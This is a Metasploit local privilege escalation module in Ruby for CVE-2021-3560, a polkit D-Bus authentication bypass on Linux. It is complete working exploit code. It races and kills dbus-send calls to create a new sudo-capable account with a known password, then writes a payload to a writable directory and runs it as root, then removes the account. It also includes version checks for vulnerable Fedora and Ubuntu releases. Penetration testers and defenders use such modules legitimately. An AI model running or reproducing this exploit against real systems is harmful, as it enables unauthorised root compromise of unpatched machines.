415 lines
16 KiB
Ruby
415 lines
16 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'unix_crypt'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Linux::Kernel
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Local::Linux
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Polkit D-Bus Authentication Bypass',
|
|
'Description' => %q{
|
|
A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged
|
|
attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a
|
|
method over D-Bus and kills the client process. This will occasionally cause the operation to complete without
|
|
being subjected to all of the necessary authentication.
|
|
The exploit module leverages this to add a new user with a sudo access and a known password. The new account
|
|
is then leveraged to execute a payload with root privileges.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Kevin Backhouse', # vulnerability discovery and analysis
|
|
'Spencer McIntyre', # metasploit module
|
|
'jheysel-r7' # metasploit module
|
|
],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Platform' => ['unix', 'linux'],
|
|
'References' => [
|
|
['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],
|
|
['CVE', '2021-3560'],
|
|
['EDB', '50011']
|
|
],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2021-06-03',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
|
|
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
|
|
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),
|
|
OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])
|
|
])
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
])
|
|
end
|
|
|
|
def get_loop_sequence
|
|
datastore['ITERATIONS'].times.map(&:to_s).join(' ')
|
|
end
|
|
|
|
def exploit_set_realname(new_realname)
|
|
loop_sequence = get_loop_sequence
|
|
cmd_exec(<<~SCRIPT
|
|
for i in #{loop_sequence}; do
|
|
dbus-send
|
|
--system
|
|
--dest=org.freedesktop.Accounts
|
|
--type=method_call
|
|
--print-reply
|
|
/org/freedesktop/Accounts/User0
|
|
org.freedesktop.Accounts.User.SetRealName
|
|
string:'#{new_realname}' &
|
|
sleep #{@cmd_delay};
|
|
kill $!;
|
|
dbus-send
|
|
--system
|
|
--dest=org.freedesktop.Accounts
|
|
--print-reply
|
|
/org/freedesktop/Accounts/User0
|
|
org.freedesktop.DBus.Properties.Get
|
|
string:org.freedesktop.Accounts.User
|
|
string:RealName
|
|
| grep "string \\"#{new_realname}\\"";
|
|
if [ $? -eq 0 ]; then
|
|
echo success;
|
|
break;
|
|
fi;
|
|
done
|
|
SCRIPT
|
|
.gsub(/\s+/, ' ')) =~ /success/
|
|
end
|
|
|
|
def get_cmd_delay
|
|
user = rand_text_alphanumeric(8)
|
|
time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
|
|
time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
|
|
unless time && time[1]
|
|
print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
|
|
return nil
|
|
end
|
|
|
|
time_in_seconds = time[1].to_f
|
|
# The dbus-send command timeout is implementation-defined, typically 25 seconds
|
|
# https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
|
|
if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
|
|
print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
|
|
return nil
|
|
end
|
|
time_in_seconds / 2
|
|
end
|
|
|
|
def check
|
|
if datastore['TIMEOUT'] < 26
|
|
return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
|
|
end
|
|
|
|
unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
|
|
return CheckCode::Safe('The polkit framework is not installed.')
|
|
end
|
|
|
|
# The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
|
|
# do that, the distro specific package manager would need to be queried. See #check_via_version.
|
|
polkit_version = Rex::Version.new(Regexp.last_match(1))
|
|
|
|
unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/
|
|
return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
|
|
end
|
|
|
|
# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
|
|
@cmd_delay = get_cmd_delay
|
|
return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
|
|
|
|
status = nil
|
|
print_status('Checking for exploitability via attempt')
|
|
status ||= check_via_attempt
|
|
print_status('Checking for exploitability via version') unless status
|
|
status ||= check_via_version
|
|
status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")
|
|
|
|
status
|
|
end
|
|
|
|
def check_via_attempt
|
|
status = nil
|
|
return status unless !is_root? && command_exists?('dbus-send')
|
|
|
|
# This is required to make the /org/freedesktop/Accounts/User0 object_path available.
|
|
dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root')
|
|
# Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a
|
|
# random string before restoring it.
|
|
result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')
|
|
if result =~ /variant\s+string\s+"(.*)"/
|
|
old_realname = Regexp.last_match(1)
|
|
if exploit_set_realname(rand_text_alphanumeric(12))
|
|
status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
|
|
unless exploit_set_realname(old_realname)
|
|
print_error('Failed to restore the root user\'s original \'RealName\' property value')
|
|
end
|
|
end
|
|
end
|
|
|
|
status
|
|
end
|
|
|
|
def check_via_version
|
|
sysinfo = get_sysinfo
|
|
case sysinfo[:distro]
|
|
when 'fedora'
|
|
if sysinfo[:version] =~ /Fedora( release)? (\d+)/
|
|
distro_version = Regexp.last_match(2).to_i
|
|
if distro_version < 20
|
|
return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
|
|
elsif distro_version < 33
|
|
return CheckCode::Appears("Fedora version #{distro_version} is affected.")
|
|
elsif distro_version == 33
|
|
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
|
|
patched_version_string = '0.117-2.fc33.1'
|
|
elsif distro_version == 34
|
|
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
|
|
patched_version_string = '0.117-3.fc34.1'
|
|
elsif distro_version > 34
|
|
return CheckCode::Safe("Fedora version #{distro_version} is not affected.")
|
|
end
|
|
|
|
result = cmd_exec('dnf list installed "polkit.*"')
|
|
if result =~ /polkit\.\S+\s+(\d\S+)\s+/
|
|
current_version_string = Regexp.last_match(1)
|
|
if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
|
|
return CheckCode::Appears("Version #{current_version_string} is affected.")
|
|
else
|
|
return CheckCode::Safe("Version #{current_version_string} is not affected.")
|
|
end
|
|
end
|
|
end
|
|
when 'ubuntu'
|
|
result = cmd_exec('apt-cache policy policykit-1')
|
|
if result =~ /\s+Installed: (\S+)$/
|
|
current_version_string = Regexp.last_match(1)
|
|
current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))
|
|
|
|
if current_version < Rex::Version.new('0.105-26')
|
|
# The vulnerability was introduced in 0.105-26
|
|
return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")
|
|
end
|
|
|
|
# See: https://ubuntu.com/security/notices/USN-4980-1
|
|
# The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.
|
|
case sysinfo[:version]
|
|
when /21\.04/
|
|
patched_version_string = '0.105-30ubuntu0.1'
|
|
when /20\.10/
|
|
patched_version_string = '0.105-29ubuntu0.1'
|
|
when /20\.04/
|
|
patched_version_string = '0.105-26ubuntu1.1'
|
|
when /19\.10/
|
|
return CheckCode::Appears('Ubuntu 19.10 is affected.')
|
|
end
|
|
# Ubuntu 19.04 and older are *not* affected
|
|
|
|
if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
|
|
return CheckCode::Appears("Version #{current_version_string} is affected.")
|
|
end
|
|
|
|
return CheckCode::Safe("Version #{current_version_string} is not affected.")
|
|
end
|
|
end
|
|
end
|
|
|
|
def cmd_exec(*args)
|
|
result = super
|
|
result.gsub(/(\e\(B)?\e\[([;\d]+)?m/, '') # remove ANSI escape sequences from the command output
|
|
end
|
|
|
|
def dbus_method_call(object_path, interface_member, *args)
|
|
cmd_args = %w[dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply]
|
|
cmd_args << object_path
|
|
cmd_args << interface_member
|
|
args.each do |arg|
|
|
if arg.is_a?(Integer)
|
|
cmd_args << "int32:#{arg}"
|
|
elsif arg.is_a?(String)
|
|
cmd_args << "string:'#{arg}'"
|
|
end
|
|
end
|
|
|
|
cmd = cmd_args.join(' ')
|
|
vprint_status("Running: #{cmd}")
|
|
cmd_exec(cmd)
|
|
end
|
|
|
|
def create_unix_crypt_hash
|
|
UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)
|
|
end
|
|
|
|
def exploit_set_username(loop_sequence)
|
|
cmd_exec(<<~SCRIPT
|
|
for i in #{loop_sequence}; do
|
|
dbus-send
|
|
--system
|
|
--dest=org.freedesktop.Accounts
|
|
--type=method_call
|
|
--print-reply
|
|
/org/freedesktop/Accounts
|
|
org.freedesktop.Accounts.CreateUser
|
|
string:#{datastore['USERNAME']}
|
|
string:\"#{datastore['USERNAME']}\"
|
|
int32:1 &
|
|
sleep #{@cmd_delay}s;
|
|
kill $!;
|
|
if id #{datastore['USERNAME']}; then
|
|
echo \"success\";
|
|
break;
|
|
fi;
|
|
done
|
|
SCRIPT
|
|
.gsub(/\s+/, ' ')) =~ /success/
|
|
end
|
|
|
|
def exploit_set_password(uid, hashed_password, loop_sequence)
|
|
cmd_exec(<<~SCRIPT
|
|
for i in #{loop_sequence}; do
|
|
dbus-send
|
|
--system
|
|
--dest=org.freedesktop.Accounts
|
|
--type=method_call
|
|
--print-reply
|
|
/org/freedesktop/Accounts/User#{uid}
|
|
org.freedesktop.Accounts.User.SetPassword
|
|
string:'#{hashed_password}'
|
|
string: &
|
|
sleep #{@cmd_delay}s;
|
|
kill $!;
|
|
echo #{datastore['PASSWORD']}
|
|
| su - #{datastore['USERNAME']}
|
|
-c \"echo #{datastore['PASSWORD']} | sudo -S id\"
|
|
| grep \"uid=0(root)\";
|
|
if [ $? -eq 0 ]; then
|
|
echo \"success\";
|
|
break;
|
|
fi;
|
|
done
|
|
SCRIPT
|
|
.gsub(/\s+/, ' ')) =~ /success/
|
|
end
|
|
|
|
def exploit_delete_user(uid, loop_sequence)
|
|
cmd_exec(<<~SCRIPT
|
|
for i in #{loop_sequence}; do
|
|
dbus-send
|
|
--system
|
|
--dest=org.freedesktop.Accounts
|
|
--type=method_call
|
|
--print-reply
|
|
/org/freedesktop/Accounts
|
|
org.freedesktop.Accounts.DeleteUser
|
|
int64:#{uid}
|
|
boolean:true &
|
|
sleep #{@cmd_delay}s;
|
|
kill $!;
|
|
if id #{datastore['USERNAME']}; then
|
|
echo \"failed\";
|
|
else
|
|
echo \"success\";
|
|
break;
|
|
fi;
|
|
done
|
|
SCRIPT
|
|
.gsub(/\s+/, ' ')) =~ /success/
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status("Writing '#{path}' (#{data.size} bytes) ...")
|
|
rm_f(path)
|
|
write_file(path, data)
|
|
register_file_for_cleanup(path)
|
|
end
|
|
|
|
def upload_and_chmodx(path, data)
|
|
upload(path, data)
|
|
chmod(path)
|
|
end
|
|
|
|
def upload_payload
|
|
fname = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}"
|
|
upload_and_chmodx(fname, generate_payload_exe)
|
|
return nil unless file_exist?(fname)
|
|
|
|
fname
|
|
end
|
|
|
|
def execute_payload(fname)
|
|
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -Sb #{fname}\"")
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
|
|
fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
|
|
if datastore['TIMEOUT'] < 26
|
|
fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
|
|
end
|
|
|
|
if @cmd_delay.nil?
|
|
# cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
|
|
# likely cause the check method wasn't executed. Lets set it so long.
|
|
|
|
# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
|
|
@cmd_delay = get_cmd_delay
|
|
fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
|
|
end
|
|
|
|
print_status("Attempting to create user #{datastore['USERNAME']}")
|
|
loop_sequence = get_loop_sequence
|
|
|
|
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
|
|
uid = cmd_exec("id -u #{datastore['USERNAME']}")
|
|
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
|
|
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
|
|
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
|
|
print_good('Obtained code execution as root!')
|
|
fname = upload_payload
|
|
execute_payload(fname)
|
|
else
|
|
print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
|
|
end
|
|
|
|
print_status('Attempting to remove the user added: ')
|
|
if exploit_delete_user(uid, loop_sequence)
|
|
print_good("Successfully removed #{datastore['USERNAME']}")
|
|
else
|
|
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
|
|
end
|
|
end
|
|
|
|
def on_new_session(client)
|
|
# Because we deleted the user directory, a meterp shell will be unusable until we chdir somewhere that exists
|
|
# So let's just use the WritableDir that must exist, given its use earlier
|
|
if !session.nil? && (client.type == 'meterpreter')
|
|
client.core.use('stdapi')
|
|
client.fs.dir.chdir(datastore['WritableDir'])
|
|
end
|
|
end
|
|
end
|